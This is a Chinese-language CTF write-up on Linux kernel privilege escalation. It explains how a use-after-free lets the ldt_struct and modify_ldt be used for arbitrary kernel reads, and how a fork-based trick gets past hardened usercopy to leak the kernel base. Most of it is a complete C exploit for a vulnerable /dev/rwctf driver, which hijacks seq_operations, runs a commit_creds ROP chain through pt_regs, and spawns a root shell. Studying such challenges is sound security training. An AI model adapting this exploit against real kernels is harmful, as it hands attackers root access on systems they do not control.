对于该结构体知识请自行谷歌学习,这里仅仅讲利用
ldt 即局部段描述符表(Local Descriptor Table)该结构体如下,结构体的大小为 0x10:
- /*
- * ldt_structs can be allocated, used, and freed, but they are never
- * modified while live.
- */
- struct ldt_struct {
- /*
- * Xen requires page-aligned LDTs with special permissions. This is
- * needed to prevent us from installing evil descriptors such as
- * call gates. On native, we could merge the ldt_struct and LDT
- * allocations, but it's not worth trying to optimize.
- */
- struct desc_struct *entries;
- unsigned int nr_entries;
-
- /*
- * If PTI is in use, then the entries array is not mapped while we're
- * in user mode. The whole array will be aliased at the addressed
- * given by ldt_slot_va(slot). We use two slots so that we can allocate
- * and map, and enable a new LDT without invalidating the mapping
- * of an older, still-in-use LDT.
- *
- * slot will be -1 if this LDT doesn't have an alias mapping.
- */
- int slot;
- };
其中 entries 指向一个 desc_struct 数组,nr_entries 标识 desc_struct 数组中元素的个数
- /* 8 byte segment descriptor */
- struct desc_struct {
- u16 limit0;
- u16 base0;
- u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
- u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
- } __attribute__((packed));
Linux 提供给我们一个叫 modify_ldt 的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT:
- SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
- unsigned long , bytecount)
- {
- int ret = -ENOSYS;
-
- switch (func) {
- case 0:
- ret = read_ldt(ptr, bytecount);
- break;
- case 1:
- ret = write_ldt(ptr, bytecount, 1);
- break;
- case 2:
- ret = read_default_ldt(ptr, bytecount);
- break;
- case 0x11:
- ret = write_ldt(ptr, bytecount, 0);
- break;
- }
- /*
- * The SYSCALL_DEFINE() macros give us an 'unsigned long'
- * return type, but tht ABI for sys_modify_ldt() expects
- * 'int'. This cast gives us an int-sized value in %rax
- * for the return code. The 'unsigned' is necessary so
- * the compiler does not try to sign-extend the negative
- * return codes into the high half of the register when
- * taking the value from int->long.
- */
- return (unsigned int)ret;
- }
我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc 结构体的指针:
- struct user_desc {
- unsigned int entry_number;
- unsigned int base_addr;
- unsigned int limit;
- unsigned int seg_32bit:1;
- unsigned int contents:2;
- unsigned int read_exec_only:1;
- unsigned int limit_in_pages:1;
- unsigned int seg_not_present:1;
- unsigned int useable:1;
- #ifdef __x86_64__
- /*
- * Because this bit is not present in 32-bit user code, user
- * programs can pass uninitialized values here. Therefore, in
- * any context in which a user_desc comes from a 32-bit program,
- * the kernel must act as though lm == 0, regardless of the
- * actual value.
- */
- unsigned int lm:1;
- #endif
- };

可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区,所以如果我们能够控制 ldt_struct 结构体,那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。

该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体:

alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体,所以这就给了我们控制 ldt_struct 结构体的机会。
我们可以先泄漏直接映射区的位置,然后在直接映射区上有一个 secondary_startup_64 函数指针,然后我们就可以直接读直接映射区去泄漏内核基地址。
下面直接来自【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog
前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ,但在开启 KASLR 的情况下,我们并不知道该从哪里读取什么数据
这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值
但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy 的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic,因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址
当内核开启了 hardened usercopy 时,我们不能够直接搜索整个线性映射区域,这因为这有可能触发 hardened usercopy 的检查
ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中,注意到如下逻辑:
- /*
- * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
- * the new task is not running, so nothing can be installed.
- */
- int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
- {
- //...
-
- memcpy(new_ldt->entries, old_mm->context.ldt->entries,
- new_ldt->nr_entries * LDT_ENTRY_SIZE);
-
- //...
- }
在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可
开启了 smap、smep、kaslr 和 kpti 保护,驱动程序很简单,就一个 ioctl 函数

然后有一个贴脸的任意大小UAF,并且有写堆块的功能。
主要的问题就是这里没有读堆块的功能,所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的,但是最后失败了(我感觉应该是可以的),我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了,由于我对 copy_from_user 的一些特性不是很明白,就没有深究。
最后选择利用 ldt_struct 去泄漏内核基地址,然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护,所以直接劫持 seq_operations,然后利用 pt_regs 一套带走了。
我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址,然后通过 pipe_buffer 劫持的程序执行流,这个方法到时候在看看吧,我感觉 pipe_buffer 这个结构体很重要,后面好好学习一下。
然后这题也没有开启一些 slab 保护,所以也不需要堆喷,exp 如下:
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- #define SECONDARY_STARTUP_64 0xffffffff81000060
- size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
- size_t init_cred = 0xffffffff82850580;
- size_t commit_creds = 0xffffffff81095c30;
- size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
- size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
-
- struct node {
- int idx;
- int size;
- char* ptr;
- };
-
- void err_exit(char *msg)
- {
- printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
- sleep(5);
- exit(EXIT_FAILURE);
- }
-
- void info(char *msg)
- {
- printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
- }
-
- void hexx(char *msg, size_t value)
- {
- printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
- }
-
- void binary_dump(char *desc, void *addr, int len) {
- uint64_t *buf64 = (uint64_t *) addr;
- uint8_t *buf8 = (uint8_t *) addr;
- if (desc != NULL) {
- printf("\033[33m[*] %s:\n\033[0m", desc);
- }
- for (int i = 0; i < len / 8; i += 4) {
- printf(" %04x", i * 8);
- for (int j = 0; j < 4; j++) {
- i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
- }
- printf(" ");
- for (int j = 0; j < 32 && j + i * 8 < len; j++) {
- printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
- }
- puts("");
- }
- }
-
- /* bind the process to specific core */
- void bind_core(int core)
- {
- cpu_set_t cpu_set;
-
- CPU_ZERO(&cpu_set);
- CPU_SET(core, &cpu_set);
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
-
- printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
- }
-
- int rw_fd;
- int seq_fd;
- void add(int idx, int size, char* ptr)
- {
- struct node n = { .idx = idx, .size = size, .ptr = ptr };
- ioctl(rw_fd, 0xDEADBEEF, &n);
- // if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
- }
-
- void dele(int idx)
- {
- struct node n = { .idx = idx };
- ioctl(rw_fd, 0xC0DECAFE, &n);
- }
-
- int main(int argc, char** argv, char** env)
- {
- bind_core(0);
- int qid;
- char buf[0x10] = { 0 };
-
- rw_fd = open("/dev/rwctf", O_RDWR);
- if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
-
- add(0, 0x10, buf);
- dele(0);
-
- size_t page_offset_base = 0xffff888000000000;
- size_t temp;
- int res;
- int pipe_fd[2];
- size_t kernel_offset;
- size_t* ptr;
- size_t search_addr;
- struct user_desc desc = { 0 };
- desc.base_addr = 0xff0000;
- desc.entry_number = 0x8000 / 8;
- syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
- while (1)
- {
- dele(0);
- *(size_t*)buf = page_offset_base;
- *(size_t*)(buf+8) = 0x8000 / 8;
- add(0, 0x10, buf);
- res = syscall(SYS_modify_ldt, 0, &temp, 8);
- if (res > 0) break;
- else if (res == 0) err_exit("no mm->context.ldt");
- page_offset_base += 0x4000000;
- }
- hexx("page_offset_base", page_offset_base);
-
- pipe(pipe_fd);
- ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
- search_addr = page_offset_base;
- kernel_offset = -1;
- while(1)
- {
- dele(0);
- *(size_t*)buf = search_addr;
- *(size_t*)(buf+8) = 0x4000 / 8;
- add(0, 0x10, buf);
- res = fork();
- if (!res)
- {
- syscall(SYS_modify_ldt, 0, ptr, 0x4000);
- for (int i = 0; i < 0x800; i++)
- if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
- kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
- write(pipe_fd[1], &kernel_offset, 8);
- exit(0);
- }
- wait(NULL);
- read(pipe_fd[0], &kernel_offset, 8);
- if (kernel_offset != -1) break;
- search_addr += 0x4000;
- }
- hexx("kernel_offset", kernel_offset);
-
- puts("Hijack the Program Execution Flow");
- pop_rdi += kernel_offset;
- init_cred += kernel_offset;
- commit_creds += kernel_offset;
- swapgs_kpti += kernel_offset;
- add_rsp_xx += kernel_offset;
- hexx("add_rsp_xx", add_rsp_xx);
-
- add(0, 0x20, buf);
- dele(0);
-
- seq_fd = open("/proc/self/stat", O_RDONLY);
- dele(0);
- add(0, 0x20, &add_rsp_xx);
-
- asm(
- "mov r15, pop_rdi;"
- "mov r14, init_cred;"
- "mov r13, commit_creds;"
- "mov r12, swapgs_kpti;"
- );
- read(seq_fd, buf, 8);
- hexx("UID", getuid());
- system("/bin/sh");
- return 0;
- }
最后可以直接提权:
